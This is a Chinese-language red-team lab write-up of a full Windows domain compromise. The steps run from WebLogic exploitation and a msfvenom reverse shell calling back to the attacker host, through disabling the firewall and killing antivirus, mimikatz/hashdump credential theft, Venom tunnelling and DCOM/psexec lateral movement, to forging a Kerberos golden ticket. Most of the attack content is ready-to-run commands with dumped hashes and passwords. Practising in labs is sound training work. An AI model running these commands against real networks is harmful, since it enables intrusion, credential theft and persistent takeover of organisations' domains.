ATT&CK红队评估(二)

WEB服务器

信息搜集—打点

  • Nmap端口扫描
    1
    nmap -sV -O -p 1-65535 192.168.145.150
    发现开放防火墙是不能使用ping的
    image.png
    命令换成
    1
    2
    3
    nmap -sV 192.168.145.150
    或者 -A
    也是可以的
    image.png
    端口开放的比较多还是
    可以看出这个web服务器开放的RPC服务比较多 ,在寻找RPC的漏洞时,发现RPC还可以利用来提权

    https://xz.aliyun.com/t/11313#toc-0

然后同时发现是win2008 R2 系统是否存在MS08-067 经典漏洞利用呢,尝试一波
image.png
看来并不存在这个漏洞或许打了补丁防火墙子内的
再次尝试 80 端口 和 7001 端口

  • 80端口

白版image.png
没有啥子数据啊
对其进行目录扫描 ,这种白板也是不能放过的

1
dirsearch -u http://192.168.145.150    

image.png
还是没有啥发现,只存在于一个/aspnet_client/ 目录,这个目录是IIS下,常有的一个目录文件
该文件夹中含有集成了 ASP.NET 的“SmartNavigation”功能 的 javascript。如果启用 SmartNavigation,网页设计人员就可以在页面以及其他内容之间保持滚动条和元素焦点的位置。
aspnet_client 是虚拟根 Web 应用程序目录,该目录是当您安 装 .NET Framework SDK 或 Visual Studio .NET 时在您的计算机上创建的。此文件不占用户空间。

Weblogic

  • 7001端口

image.png
7001 端口众所周知是weblogic的中间件的常用端口
对其进行端口扫描:

1
dirsearch -u http://192.168.145.150:7001 

image.png

1
2
3
4
5
6
7
8
[03:32:13] 200 -    0B  - /bea_wls_deployment_internal/DeploymentService
[03:32:13] 200 - 0B - /bea_wls_internal/HTTPClntRecv
[03:32:15] 302 - 285B - /bea_wls_internal -> http://192.168.145.150:7001/bea_wls_in
[03:32:15] 200 - 49B - /bea_wls_internal/
[03:32:15] 200 - 0B - /bea_wls_internal/iiop/ClientRecvte
[03:32:30] 302 - 305B - /console/ -> http://192.168.145.150:7001/console/login/LoginF
[03:32:30] 302 - 267B - /console -> http://192.168.145.150:7001/console/
[03:34:24] 200 - 855B - /uddi/uddilistener

既然是Weblogic中间件 ,可能是存在漏洞的,毕竟weblogic漏洞挺多的
image.png
使用漏洞验证工具 去验证是否存在漏洞

漏洞验证

image.png
存在漏洞还是有几个的

1
2
3
4
5
6
[15:42:54][INFO] [+][CVE-2020-2883][192.168.145.150:7001] Exists vulnerability!
[15:42:54][INFO] [+][CVE-2020-2555][192.168.145.150:7001] Exists vulnerability!
[15:42:51][INFO] [+][CVE-2020-14750][192.168.145.150:7001] Exists vulnerability!
[15:42:51][INFO] [+][CVE-2019-2729][192.168.145.150:7001] Exists vulnerability!
[15:42:50][INFO] [+][CVE-2019-2725][192.168.145.150:7001] Exists vulnerability!
............

漏洞既然这么多,我这里使用GUI的漏洞利用工具去获取shell
使用 CVE-2016-0638 可以直接写入命令,
image.png
获取shell 使用另外一款weblogic的工具注入内存19F3E3FF.png或者shell
image.png
使用蚁剑去连接就ok
image.png

Weblogic利用工具链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
v4.0.1-godzilla
https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla 哥斯拉

Behinder_v4.0.6 冰蝎
https://github.com/rebeyond/Behinder/releases/tag/Behinder_v4.0.6

Weblogic一键漏洞检测工具,V1.5 WeblogicScan
https://github.com/rabbitmask/WeblogicScan


weblogicScaner
https://github.com/0xn0ne/weblogicScanner


Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行
https://github.com/sp4zcmd/WeblogicExploit-GUI/releases/tag/WeblogicExploit-GUI


WeblogicTool_1.1.jar 深信服深蓝实验室天威战队
https://github.com/KimJun1010/WeblogicTool/releases/tag/v1.1

如果是写shell的话要写在war 目录下(百度得之)

上线

生成msfvenom木马

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.130  LPORT=1111 -f exe > win08.exe

image.png
上传上去
image.png
设置 监听
image.png
运行 win08.exe shell文件
image.png
Run 运行获取shell
image.png

本机内网信息搜集

  • ipconfig /all

image.png
ping 域
image.png

  • whoami

image.png

1
2
systeminfo // 查看操作系统信息
echo %PROCESSOR_ARCHITECTURE% // 查看系统体系结构

image.png
image.png

1
2
net user                                // 查看本地用户
net localgroup administrators // 查看本地管理员组(通常包含域用户)

image.png

提权

迁移进程

1
ps -ef | grep svchost.exe

image.png
使用这个PID为 636的进程

1
migrate 636

image.png
image.png
查看权限已经是system权限了
本机基本信息搜集可以得知

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
IP 
192.168.145.150
10.10.10.80 内网网卡

域控
de1ay.com
10.10.10.10

administrator 权限

用户/组 :
Administrator
de1ay
DE1AY\Domain

补丁:
[01]: KB2999226
[02]: KB958488
[03]: KB976902

域内信息搜集

1
2
3
4
5
6
7
8
net config workstation     // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
net time /domain // 主域服务器会同时作为时间服务器
net user /domain // 查看域用户
net group /domain // 查看域内用户组列表
net group "domain computers" /domain // 查看域内的机器
net group "domain controllers" /domain // 查看域控制器组
net group "Enterprise Admins" /domain // 查看域管理员组

存在防火墙 的原因可能是 查询不到
image.png
查看主域
image.png
查看域内用户
还存在 krbtgt 用户,可能会用到票据把
image.png
查看域内用户组列表
image.png
查看域内机器
image.png
查看域管理员组

1
net group"Enterprise Admins"/domain 

image.png
关闭防火墙

1
run post/windows/manage/enable_rdp 

但是好像没啥鸟用啊
image.png
image.png
查看进程列表tasklist /v查看杀软及相关进程服务

1
tasklist /v

image.png存在360
常见杀软进程

进程名 杀软
360SD.exe 360杀毒
HipsMain.exe 火绒
SafeDog* 安全狗
D_Safe* D盾
yunsuo* 云锁
hws* 护卫神
avp.exe 卡巴斯基
avcenter.exe 小红伞
Mcshield.exe _Mc_Afee
QQPCRTP.exe QQ电脑管家
hids 主机防护类产品

关闭防火墙 / 360

因为老掉线,也可能是杀软的原因给杀了

1
netsh advfirewall set allprofiles state off

image.png
杀掉 360的进程

1
2
3
 ps | grep 360
kill 2988
.......

image.png
查看域内主机IP地址
使用MSF我觉得比for 循环快一点

1
2
3
4
use post/windows/gather/arp_scanner 
set session 1
set rhosts 10.10.10.1-255
run

image.png

1
2
3
4
[+]     IP: 10.10.10.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[+] IP: 10.10.10.10 MAC 00:0c:29:5c:b3:f1 (VMware, Inc.)
[+] IP: 10.10.10.80 MAC 00:0c:29:a7:38:83 (VMware, Inc.)
[+] IP: 10.10.10.201 MAC 00:0c:29:e3:1b:93 (VMware, Inc.)

抓取密码

hashdump
image.png

1
2
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

de1ay : Admin@123
image.png
上传mimikatz
因为已经关掉360了就不会被杀掉,不然需要做免杀(还不会免杀 …..)
image.png

1
2
3
4
5
启动 提升权限 抓取密码
mimitakz.exe
privilege::debug
sekurlsa::logonPasswords

发现存在一个问题

1
ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process

image.png
mimikatz模块需要两个条件:
1.权限Admistrator或system;
2.支持32/64位,但默认加载32位,对于64位很多模块无法默认加载,需要把meterpreter进程迁移到一个64位程序的进程中,才能正常使用。

使用kiwi模块 里面的mimikatz

1
help kiwi

image.png

1
2
3
列举所有凭据:creds_all
列举所有kerberos凭据:creds_kerberos
调用kiwi_cmd执行mimikatz命令:kiwi_cmd sekurlsa::logonpasswords

image.png
image.png
image.png

获取到的基本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
主域:
DC.de1ay.com

域用户
-------------------------------------------------------------------------------
Administrator de1ay Guest
krbtgt mssql


域内机器
DC$ WEB$ PC$


域管理员
Administrator

存在杀软 360 防火墙

内网主机IP地址
10.10.10.10 域控
10.10.10.80 WEB
10.10.10.201 PC

WEB 主机 密码
de1ay Admin@123

域内:
* Username : Administrator
* Domain : DE1AY
* Password : 1qaz@WSX

* Username : mssql
* Domain : DE1AY
* Password : 1qaz@WSX

搭建隧道

上传 Venom

1
2
3
4
Kali 
./admin_linux_x64 -lport 2222
win08
agent.exe -rhost 192.168.145.130 -rport 2222

image.png
image.png接收到之后连接
image.png
设置socks 3333端口
image.png
使用nmap 查看是否开启 445,3389端口

1
2
3
这里需要注意的事nmap的ping是依据icmp包进行传输的。
而proxychains无法代理icmp包。
所以nmap + ip地址是无法进行探测的

image.png
开启的
使用rdeskstop 去访问看看
image.png

横向移动 —> PC$

DCOM

控制WEB主机与PC建立一个ipc$连接:

1
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator

image.png
新生成一个msf木马win.exe,上传到WEB主机上,然后在WEB主机上执行命令,将木马复制到远程主机PC上:

1
copy win.exe \\10.10.10.201\C$

image.png
然后再meterpreter中载入powershell模块:

1
2
load powershell     // 载入powershell模块
powershell_shell // 进入powershell交互模式d

image.png
在powershell里面执行如下命令,控制WEB主机使用DCOM在远程机器PC上执行刚刚上传到PC主机C盘里的木马:
结果全是报错。。。。。
image.png

DCOM的方法

1
2
3
4
5
6
7
8
9
10
11
12
方法一
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
方法二
$com=[Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
$obj=[System.Activator]::CreateInstance($com)
$item=$obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
方法三
$com=[Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
$obj=[System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

我们这里的使用方式是使用DCOM去运行 win,exe 文件

1
2
3
4
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.201")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:win.exe","c:\windows\system32",$null,0)

既然此方法不通,再尝试使用MS17-010
设置MSF代理
image.png
使用MS17-010 失败
image.png
其实还有个更加简单的方法 ,不是已经获取到密码了 直接域用户远程登录 ,点击win.exe 返回shell
点击win 就可以获取权限
image.png
这样就成功返回shell了
image.png
但是这样获取的权限较低了

派生给CS

image.png
image.png
使用MS16-016 提权成功
image.png

域控

直接利用msf的exploit/windows/smb/psexec模块进行哈希传递

1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set SMBUser administrator
set SMBPass 1qaz@WSX
run

image.png
结果全是超时,存在防火墙啊
使用CS的psexec
创建 SMB监听
image.png
image.png
image.png
成功获取到shell
image.png
SYSTEM权限

黄金票据

黄金票据是伪造票据授予票据(TGT),也被称为认证票据,TGT仅用于向域服务器上的密钥分配中心(KDC)证明用户已经被其他的域控制器认证
黄金票据的条件

  1. 域名城
  2. 域的sid值
  3. 域的krbtgt账户htlm密码哈希
  4. 伪造用户名

黄金票据可以在拥有普通域用户权限和krbtgt账户的hash的情况下用来获取域管理员权限,上面已经获取了域控的system权限了,还可以使用黄金票据做权限维持,当域控制器权限掉了之后,在通过域内其他任意机器伪造票据重新获取最高权限

首先抓取krbtgt用户的Hash值并获取域sid

1
hashdump

image.png

1
2
3
4
5
6
7
8
Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:a3e8703c012b09dec6b81745e03d335d:::
PC$:1105:aad3b435b51404eeaad3b435b51404ee:936b1a016012e78dfe4214e993402399:::
WEB$:1603:aad3b435b51404eeaad3b435b51404ee:cdf7ecbd5506727d008792636adad3c4:::
1
logonpasswords

image.png

1
2
privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash

image.png
获的的数据

用户 de1ay
域名 de1ay.com
域SID S-1-5-21-2756371121-2868759905-3853650604
域的krbtgt账户htlm密码哈希 82dfc71b72a11ef37d663047bc2088fb

image.png
生成前先清空票据

1
kerberos::purge   //清空所有票据

手动创建票据

1
2
3
# kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi

kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:ticket.kirbi

image.png
生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后再在mimikatz中将凭证ticket.kirbi注入进去:

1
kerberos::ptt ticket.kirbi

image.png
导入之后就可以使用IPC,Psexec 获取shell
PsExec 上传:https://github.com/EliteLoser/Invoke-PsExec
github地址:

1
PsExec.exe \\10.10.10.10 cmd.exe

image.png
使用dir
一开始使用域名不知道为什么有问题一直不行,使用msf里面的shell的时候好像使用psexec 不行。。。
image.png

/// 总结 :
外网打点 ,weblogic 虽然是使用自动化工具,写上去内存马了,但是不知道这个weblogic的绝对地址 ,
百度得知,weblogic写shell 一般是写在war ,或者 image 下的
贴个靶机的绝对路径C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war>
这是连接内存马的地址
http://192.168.145.150:7001/bea_wls_internal/index.html?size=1
如果是administrator权限的话,是可能可以getsystem 或者查看是否存在system权限的 进程,进行迁移提权的
,虽然我不会免杀,但是这个 360 好像用处不大,倒是这个防火墙有点难搞有时候,连接上了很爱断开连接,而且可以使用MS17010打PC,但是因为防火墙打不了。
认识到了DCOM 方法去执行命令,弹shell ,但是不知道我这里为啥行不通 ,没找到原因。。。
对票据还是不太收悉,要加强多看看 多练练啊 ,权限维持不太会。